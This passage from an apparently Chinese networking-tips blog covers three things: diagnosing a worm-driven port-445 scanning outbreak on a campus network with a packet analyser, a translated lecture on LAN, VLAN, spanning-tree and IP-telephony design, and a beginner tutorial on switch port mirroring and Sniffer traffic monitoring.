选择数据包视图查看192.168.5.119传输数据的原始解码信息,如图3。从图3可知,这些数据包的大小都是66字节,协议都是CIFS,源地址都是192.168.5.119,而目标地址则随机产生,目标端口都是445,且数据包的TCP标记位都将同步位置1,这说明192.168.5.119这台机器正在主动对网络中主机的TCP 445端口进行扫描攻击,原因可能是192.168.5.119主机感染病毒程序,或者是人为使用扫描软件进行攻击。


(图3 192.168.2.119主机的数据包解码信息)
找到问题的根源后,正准备对192.168.5.119主机进行隔离,这时因其它事情中断分析工作约10分钟左右。
继续工作,隔离192.168.5.119主机的同时再次将启动科来网络分析系统5.0捕获分析网络的数据通讯,约2.5分钟后停止捕获并分析捕获到的数据包。
分析捕获到的数据包,网络中又出现了3台与192.168.5.119相似情况的主机,且这些主机发起的同步连接数都大大超过192.168.5.119,图4所示的即是其中一台主机在约2.5分钟内的发起的连接数,其中同步连接达到了6431个。
通过这个情况,我们可以肯定192.168.5.119和新发现的三台主机都是感染了病毒,且该病毒会主动扫描网络中其它主机是否打开TCP 445端口,如果某主机打开该端口,就攻击并感染这台主机。如此循环,即引发了上述的网络故障。


(图4 192.168.4.34主机的TCP连接信息)
网管人员立即对新发现感染病毒的3台主机进行隔离,ping测试响应时间立刻变为1ms,网络通讯立刻恢复正常。
在分析中,我们还发现,192.168.101.57主机占用的流量较大,其通讯数据包的源端和目的端都使用UDP 6020端口,且与192.168.101.57通信的地址227.1.2.7是一个组播IP地址,签于此,我们推测192.168.101.57可能在使用在线视频点播之类的应用,并因此对网络资源造成了一定程度的耗费,其通讯数据包如图5所示。对于这种情况,网管人员也应对其进行检查,确定其合法性,以避免网络带宽被一些非关键业务所耗费。


(图5 192.168.101.57主机的通讯数据包信息)
在第一次和第二次捕获之间,相隔仅10分钟的时间,网络中就被新感染主机三台。由此我们可以想象,如果不使用网络检测分析软件捕获分析网络中传输的数据包,仅通过查看交换机的端口流量,或者使用单纯的流量软件,将很难找到问题的根源,这样网络中感染的主机会越来越多,最终将导致整个网络的全部瘫痪。
以上便是笔者使用科来网络分析系统5.0诊断该校园网故障的全过程,在网络出现速度慢、时断时续、不能访问时,网管人员均可使用这种方法对故障进行诊断排查。

IP网络设计系列讲座(四):局域网设计

0

分类 : 技术文摘 | 发表时间 01-05-2006

这是IP网络设计系列讲座的最后一部分。本讲将讨论园区局域网设计中遇到的一些问题。以太网交换机优越于传统的集线器环境的好处将首先介绍一下。应用虚拟局域网的动机已经同规划和配置虚拟局域网遇到的问题一起进行了研究。本文还将讨论确保园区网络设计具有可伸缩性和弹性的一些技术。本文还将讨论生成树协议以及如何在大型交换的网络中优化这个协议。最后,在本文的结论部分将涉及到与推出IP电话有关的设计问题。

  以太网交换的好处

  传统的共享的以太网是一种基带介质。这就意味着在任何一个时间只能有一个站点能够向这个介质发送数据。多个信号不能像在宽带网介质中那样成为多路复用的信号。在一个共享的以太网集线器,各个站点通过监听一对儿接收的线路来检查是否有其它站点在发送数据,用这种方法来解决访问冲突问题。以太网交换的应用取代了共享的以太网,从而产生了如下改善的运行功能:

  专用的冲突域

  交换机的每一个端口都在自己的冲突域中,因此,一个站点通过一台交换机的端口连接到这个局域网,而不是通过一个集线器的端口。这样,这个站点就不需要在发送数据之前通过监听是否有冲突来竞争接入到线路的权限。这将提高局域网的有效带宽。

  通信过滤和转发

  一台交换机像一个多口网桥一样工作,并且通过监听实况通信来了解每一个站点的MAC地址的位置。对于交换机交换的每一帧,交换机仅把通信转发到目的地MAC地址所在的端口。这台交换机据说要过滤所有其它端口的帧。这将显著减少局域网中不必要的通信,提高带宽的利用率。然而,广播帧将涌向所有的端口,这样,一个交换机据说要创建多个冲突域,但是,所有的端口仍在同一个广播域中。这通常是一种理想工作方式,因为广播时必要的,通常是局域网中的一种有效的通信手段。这与广域网有些不同。微软的Windows就使用严重依赖广播的NetBios。另一个例子是地址解析协议(ARP)。根据地址解析协议,一个地址解析协议广播必须要达到IP子网的每一个站点以便把一个目的地的IP地址解析为MAC地址。

  全双工传输

  传统共享的以太网以半双工的模式工作。换句话说,各个站点不能同时发送和接收数据。由于以太网基带的性质,只有一个站点能够访问这个介质并且在任何一个时间发送数据。一个共享的以太网介质上的各个站点通过监听冲突来解决通信冲突。全双工传输意味着所有的站点都能够同时发送和接收数据。在以太网中,这并不是通过监视冲突来实现的。如果这个站点附加到自己专用的交换机端口,它只是合法地关闭了冲突检测功能。这就意味着在冲突域只有两个站点:这个站点本身和这台交换机的端口。然后,每个站点都可以相互收发数据,而不必监听冲突。这种方式称作点对点的以太网。同许多网络词汇一样,全双工一直被滥用而且有些说法是不真实的。交换机厂商之间的市场营销大战促使这些厂商声称全双工作业能够使数据吞吐量提高一倍。全双工作业确实能够显著改善数据吞吐量,但是,还不能说把数据吞吐量提高了一倍,因为同一个站点不可能以线速的速度同时发送和接收应用程序的通信。

  理解客户机-服务器通信流

  当实施一个交换的局域网设计时,获得对客户机-服务器通信流的详细了解大概是一项最大的挑战。一个网络正在进行重新设计,要把一个共享的局域网环境转变为一个交换的局域网,以满足日益增长的带宽需求。在这种情况下,有可能收集到详细的大量有关通信状况的信息。在一个全新的网络,在网络推出之前收集这些信息是不容易的。然而,没有严格数量的通信状况分析,对通信状况进行合理的质量分析也是应该达到的。获得下列信息的合理的预测是非常重要的:什么用户在与什么服务器进行通话,通话的时间有多长,现在消耗的带宽是多少,将来消耗的带宽是多少?所有的客户机和服务器的物理位置和逻辑位置是什么。换句话说,要清楚地了解每个应用程序的客户机与服务器之间数据通道。服务器之间的通信水平是什么?再次说明一下,这与了解整个网络的全部主要通信流的需求是一致的。如果不充分理解这些通信流,介绍局域网交换机的作用也是很有限的。举一个极端的例子,假设一台服务器在远方并且必须通过一个56K的广域网线路访问这台服务器。在这种情况下,一台局域网交换机将不能显著提高性能,因为瓶颈是在广域网而不是在局域网。

  高速内核

  一些专有的方法与802.3ad标准的存在允许把多个连接集成为一个逻辑的高速连接。两台交换机之间的多个物理连接必须被当作一个逻辑连接对待,否则,生成树将封锁多余的连接。这种功能可以用来提供核心交换机之间的高速连接并且向高带宽服务器提供高速连接。即使在应用万兆以太网之前,就存在最多把8个以太网端口集成在一起提供高速园区干线的功能。

  虚拟局域网的概念

  广播封闭

  一台交换机中的每一个端口代表一个单独的冲突域。然而,一台交换机的全部端口都在同一个广播域。园区局域网中的任何一个站点发出的任何广播都必须经过完全是交换网络的那个局域网中的每一个站点的处理。在局域网环境中,每一台设备中的CPU的中断所引起的问题比这个广播消耗的带宽还要严重。虚拟局域网为在交换的网络中创建多个广播域提供了一种机制。一个特定站点发出的一个广播将只发送给同一个虚拟局域网中站点。需要一台路由器实现虚拟局域网中的通信,就像用一台路由器实现物理局域网之间的通信一样。这个问题是很容易理解的,因为一个虚拟局域网与一个IP子网是同义词。在一个交换的环境中,如果两个站点在同一个虚拟局域网中,它们一定是在同一个IP子网中。

  安全

  通过过滤广播,虚拟局域网提供了一般与路由子网的安全水平相同的安全功能。考虑一下插入到一个交换机端口的网络分析器的情况。如果这个端口分配给一个特定的虚拟局域网,那么,这个网络分析器仅检测与那个虚拟局域网有关的广播,而不检查整个局域网。可以在路由器上设置安全政策,就像在传统的局域网网段上一样管理虚拟局域网之间的通信。

  IP地址计划

  IP地址计划也许还部分规定了虚拟局域网策略。例如,如果一个26位子网掩码用于局域网子网,那么,每个子网的最多主机数量是60个。这就意味着整个局域网不能与超过60个的主机保持“持平”。如果在一个交换的局域网中有大量的主机,虚拟局域网的创建必须是每个虚拟局域网最多有60台主机。

  灵活型

  虚拟局域网正在向把一个路由网络的智能与交换网络的灵活性结合在一起的方向发展。例如,在一个特定的虚拟局域网中的用户在移动到园区内不同物理位置之后仍能够保留在那里虚拟局域网中。所有这一切需要在相关的交换机设置中做一些修改。这不需要改变硬件或者重新铺设电缆。虚拟局域网能够扩展到使用虚拟局域网集群协议的多台交换机。这将进
一步提高灵活性。一般来说,虚拟局域网在使用3层处理的局域网环境中帮助简化了移动、增加和改变等管理功能。

  虚拟局域网规划

  当规划在一个大型园区局域网中部署虚拟局域网的时候,有许多问题需要考虑。部署虚拟局域网的数量必须与每个虚拟局域网应该支持的主机数量一起确定。虚拟局域网的架构和这个虚拟局域网数据吞吐量覆盖园区的范围是另一个重要的设计问题。

  虚拟局域网的范围

  虚拟局域网对于配线柜来说应该是本地的。例如,一栋大楼的每一层代表一个不同的虚拟局域网,而不管用户的工作职能是什么。这就意味着广播是在本的封闭的。这个缺点是发到另一个配线柜(里面可能配置服务器)的通信必须使用路由器。企业在服务器群等集中的地方共享资源的趋势在日益增长。日益突出的基于网络的计算和共享的办公室应用程序进一步推动了这种趋势的发展。随着大多数资源集中起来,客户机与服务器之间的通信可能在任何情况下都能得到路由,除非这个局域网是一个不适合广播的大型IP子网。这个基本原理已经使所谓的“本地”虚拟局域网成为了一种流行的设计理念。这种替代的方法将允许虚拟局域网扩展整个局域网或者园区,以确保客户机至服务器的通信产生最少的路由延迟。在工程、市场营销和法律等各个工作组都实现相对自动化的情况下,这也许是可行的。现代的服务器平台将支持多个共享的应用程序,这些共享的应用程序可能会影响所谓的“端对端”的虚拟局域网。3层交换技术的改进也减少了与路由和3层处理有关的延迟。部署本地虚拟局域网的一个更诱人的理由是它能阻止广播在整个园区干线上传播。

  虚拟局域网的数量

  不要仅仅为了建立虚拟局域网而建立虚拟局域网。网络设计师应该清楚建立虚拟局域网将带来的好处。记住这些好处,使用的虚拟局域网的数量就可以确定了。这个决定不能离开IP地址计划单独做出。在IP地址计划中,局域网子网的数量通常与使用的虚拟局域网的数量相关联的。根据这个机构的人员编制结构,把一群人用同一个虚拟局域网中的通用工作职能组合在一起也许是可能的,也许是不可能的。

  每个虚拟局域网的用户数量

  有一个每个虚拟局域网最多用户数量的预测是一种很好的做法。这种预测没有必要与整个企业保持一致。例如,虚拟局域网封闭使用高带宽的用户,或者广播密集型应用程序应该有较少的用户。这个IP地址计划也将对每个子网的主机数量提出限制,从而限制每个虚拟局域网的主机数量。

  优化生成树域

  802.1d生成树协议在桥接或者交换的网络中是必要的,以便允许冗余的交换机之间的连接,同时防止广播环路(loops)。生成树协议可能减缓融合这种情况将提出协议挑战。这些挑战应该在设计阶段加以解决。

  大多数交换机厂商都提供一些专有的方法加快生成树的融合。例如,思科的“PortFast”功能把没有连接到另一台交换机的一个端口的发送延迟定时器设置为零。这就防止了PC在启动之后出现连接问题,因为PC端口进入发送状态比较缓慢。这是一项很有用的功能,因为只在连接到另一台交换机的端口需要生成树协议。

  然而,还有一种新的标注化的增强功能的协议RSTP(快速生成树协议)。正如这个协议的名称所说的那样,这个协议将解决与802.1d协议有关的融合问题。RSTP是一个以802.1w的形式制定的标准。这个协议增加了计算并且获得了有关网络的更多的结构信息。这个协议与作为维持生计机制的BPDU(桥接协议数据单元)一起使用使其本地融合时间达到了6秒,而在802.1d协议中,这个时间需要50秒。802.1w协议向下兼容802.1d协议并且推荐在现代局域网中应用。


  根网桥启动这个生成树协议BPDU信息。这个信息每2秒钟向整个网络传播一次。这是根网桥应该位于接近网络干线的中心点位置的原因之一。这样将保证所有的下行交换机在接收和处理BPDU信息时出现同样的延迟,从而提高生成树协议计算机的稳定性。根交换机上的所有的端口为了生成树协议都处在发送状态,并且一般要比其它交换机用有更高的处理工作量。这就意味着那台交换机应该是网络上功能更强大的交换机之一。显然,根交换机应该认真挑选。生成树协议根据最低的桥ID选择一台根交换机。由于所有的参数都是默认值,选择具有最低的MAC地址ID的交换机变成了一种很偶然的事情。然而,通过降低指定根设备的桥优先等级,这种根选择是允许有偏差的。这样做是合理的,不仅是由于上述理由,而且还因为这样可以阻止新安装的交换机由于其MAC ID低于当前的根交换机而启动根选择的竞争。

  具有生成树功能的一个端口在进入发送状态之前必须要经过封锁、监听和学习阶段。这是在生成树的缓慢融合的中心,但是,对于确保不会产生环路的布局是很必要的。所有主要的交换机厂商都有以安全的方式加快生成树融合的专有方法。例如,生成树协议能够根据每个端口的情况关闭,以便直接移动这个端口到发送状态。这将会防止在启动之后出现工作站DHCP请求超时等故障,因为那时端口还没有进入发送状态。每次关闭生成树都应该特别注意,这个时候千万不要关闭可能连接到其它交换机的端口。

  在设计阶段必须解决的最后一个问题是在一个虚拟局域网环境中如何处理生成树。在整个园区可以使用建立一个生成树域。替代的方法是在每一个虚拟局域网中建立一个单独的生成树实例。这意味着每一个虚拟局域网可能有一个不同的(或者完全相同的)根交换机。重要的是清楚随后的安装工作和相应地做出计划。例如,拥有多个生成树域,阻止一台交换机成为整个虚拟局域网的根也许是谨慎的措施。如果那台交换机出现故障,这会减少通信的中断。有多个生成树域的好处是,它们很小,因此能够更快地融合起来,允许为每一个虚拟局域网优化选择根交换机。另一方面,一个单独的生成树可减少BPTU通信以及交换机必须处理的生成树的数量。同以前一样,在做出任何决策时前,了解你的环境是一个重要的问题。

  IP电话

  随着IP电话的出现,有许多要解决的设计问题。由于性能和安全的原因,这种语音通信应该在自己的虚拟局域网中实施。因此,一个新的IP子网必须增加IP电话的任务。理想的是这种IP地址应该很容易分辨,例如10.99.99.0/24,以便使排除故障和管理更方便。

  IP电话服务器的数量和位置必须要确定下来。服务器的容量必须要根据其能够支持的注册电话用户数量以及在繁忙时间能够支持的电话数量来进行评估。这种评估再加上预算分析有助于决定服务器的位置是采取集中的模式还是分布式模式。

  电源可以通过多种方式提供,如通过每个电话机的单独的电源部分、一个电源接插板、或者使用支持线内供电的以太网交换机。最后一种方法一般被认为是最可靠的和最省钱的。然而,在处理IP电话的问题时,你永远不要忘记标准化的问题。如果IP电话机来自不同的厂商,其厂商的数量比以太网交换机的厂
商还多,线内供电能起作用吗?虽然有很多标准,但是,这些标准并不总是滴水不漏的。因此,惟一的方法是通过实际测试确切地了解这个情况。

  服务质量总是语音通信的问题。局域网的带宽通常是很充足的,因此,阻塞管理通常不能保证特殊的配置。来自IP电话的通信一般标记为“IP优先等级5”和“802.1q COS 5”。这个分类和标记能够在本地交换机设置。许多IP电话预先标记这种通信。如果是这种情况,交换机应该设置为来自IP电话的“可信赖”数据包(也就是说,不是重新标记的)。来自PC的数据包一般应该标记为“优先等级0”,以防止数据帧在路由器广域网接口上以高优先等级队列发送。

  翻译:东缘

活用sniffer软件网络恢复通畅

0

分类 : 技术文摘 | 发表时间 01-05-2006

sniffer软件博大精,我之所窥也不过沧海一粟。因此这个教程仅仅是一个针对初学者的教程,但如果没有一定的网络基础,恐怕仍然会让你感到吃力。有兴趣的朋友就跟我一起来玩~
  现在很多时候我们都需要在交换环境下进行sniffer监控,因此这里就先从定义镜像端口做起。为什么要先定义镜像端口才能sniffer?这和交换机工作的原理有关。交换机的工作原理与HUB有很大的不同,HUB组建的网络数据交换都是通过广播方式进行的,而交换机组建的网络是根据交换机内部的CAM表(暂且理解为MAC地址表)进行转发的。也就是说前者可直接sniffer而后者不能直接sniffer。这时就要用到端口镜像,端口镜像的定义就是:“把被镜像端口的进出数据报文完全拷贝一份到镜像端口,方便我们进行流量观测或者故障定位”。

  还是来做一个实验吧,这样理解起来快一些

  假设某公司申请了一根10M的电信宽带,突然某一天下午,网速奇慢无比。公司里的员工怨声不断,强烈要求网络恢复通畅,这时作为网络管理者的你,需要马上找出原因:

  不同的设备做端口镜像的方法不同,CISCO的玩意儿虽好但对大部份网络爱好者来说太专业,做教程不一定合适。因此这里我选一款D-LINK的 DES-3226S二层交换机为例,以WEB界面说明如何进行镜像端口的配置(Mirroring Configurations)。

  如图:


  进入DES-3226S二层可网管交换机

  选择login to make a setup,登陆后进入交换机主配置菜单并显示基本信息:



  选择下面的Advanced setup——Mirroring Configurations(镜像配置)



  mirror Status选项Enabled,然后将Port 1设置为镜像端口,其余端口监听模式点选为Both(即发送与接收的数据都同时监控),这样交换机就把2号端口至24号端口的数据随时随地都COPY了一份给Port 1,然后我们在Port 1上进行监听,Sniffer也就有了用武之地。

  将网管电脑插入Port 1(镜像端口),开启Sniffer软件,怎么样?界面够酷吧?左、右两幅地图很直观的显示了整个LAN内的数据流向。不管是右边的“传输地图”还是左边的“主机列表”它们现在都是根据学习到的MAC地址进行流量标识的。



  通过左边的“主机列表饼图”,你可以很清楚的看到00-50-18-21-A5-F4和00-E0-4C-DD-2E-2E这两台主机的数据流量目前为止最多。


  请出“局域网MAC地址扫描器”(也可以简单的ARP -A或者利用下面讲的IP选项),进行LAN内的MAC地址扫描,进一步知道了00-E0-4C-DD-2E-2E属于192.168.123.117。而00-50-18-21-A5-F4这个地址属于192.168.123.254(这个地址为网关出口)。这样我们就可以知道是谁人把网速拖慢了!



仅仅是知道是谁拖慢了网速还不够,我们还要进一步知道此人到底是怎么把网速拖慢了的。还是在“传输地图”里,看到下面MAC/IP/IPX三个选项了么?现在点IP选项,看出现了什么?

不再是基于MAC地址的地图了,已经切换成IP地址的传输地图了。其中最粗的那根线:192.168.123.117=========221.10.135.114 说明了这家伙一直在和外网的一台主机交换数据,很明显他是在下载文件。


  再用“主机列表”中IP选项以饼图查看:

  发现192.168.123.117与221.10.135.114的通信流量竟然高达整个网络流量的89.58%(44.20+45.38)!



  现在故障原因已经很明了,我们只需要对192.168.123.117这台主机进行处理就可以恢复网络的通畅。但在这之前,我们可以先利用 sniffer监控一下整个网络中都在传些什么内容!点击上面的菜单中:捕获—定义过滤器—-选择“地址”子菜单;地址类型(协议):IP;在下面的“位置1”和“位置2”中分别填入“任意的”、“任意的”,意思是对整个LAN内的主机进行监控,当然你也可以仅仅监控两个地址的通信,比如前面所发现的192.168.123.117和221.10.135.114这两台主机,要注意双向通信或者单向通信的选择(键头符号)。


  还可以在“高级”里选择具体对哪些IP协议进行监控,如果你对TCP/IP协议熟悉,利用这个功能可以快速得到自己想要的数据。

  譬如我们抓到了192.168.123.139访问外网主机211.91.135.26在80端口的一些数据包,说明这台主机正在流浏网页。


  甚至可以进一步看对方在浏览远程主机上哪个目录下面的网页,看到那个rm文件的地址了么?这说明他目前正在线收看一部电影或者一首歌曲(根据前面music目录来推断)。

 sniffer的功能还远不止这些,不过今天就到止为止吧,end.

无觅相关文章插件,快速提升流量